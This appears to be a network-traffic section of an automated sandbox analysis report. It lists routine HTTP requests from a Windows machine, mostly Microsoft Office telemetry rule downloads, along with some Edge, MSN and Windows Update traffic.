Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732510010755&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=30516179784a442f849e382ceb949bec&activityId=30516179784a442f849e382ceb949bec&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=ED96FB6555544A40B38C59F77052B804&MUID=3C5B860E698662B2092E934C680C6309 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3C5B860E698662B2092E934C680C6309; _EDGE_S=F=1&SID=269DF6BE1237649B1D36E3FC137065DE; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733114803&P2=404&P3=2&P4=ed6qlMigLdLbIqueF%2flmdidW4BYr1YFS3pxVpdCSEJ2dd38pf7JWGxyjTChnyvB%2bfHr6xaM4mzbuMXx9onQGpg%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: CDF+cOAQ1UUNQc3ptZzhynSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=WXfGgr4zxCL9dy4&MD=VeOW8cAr HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
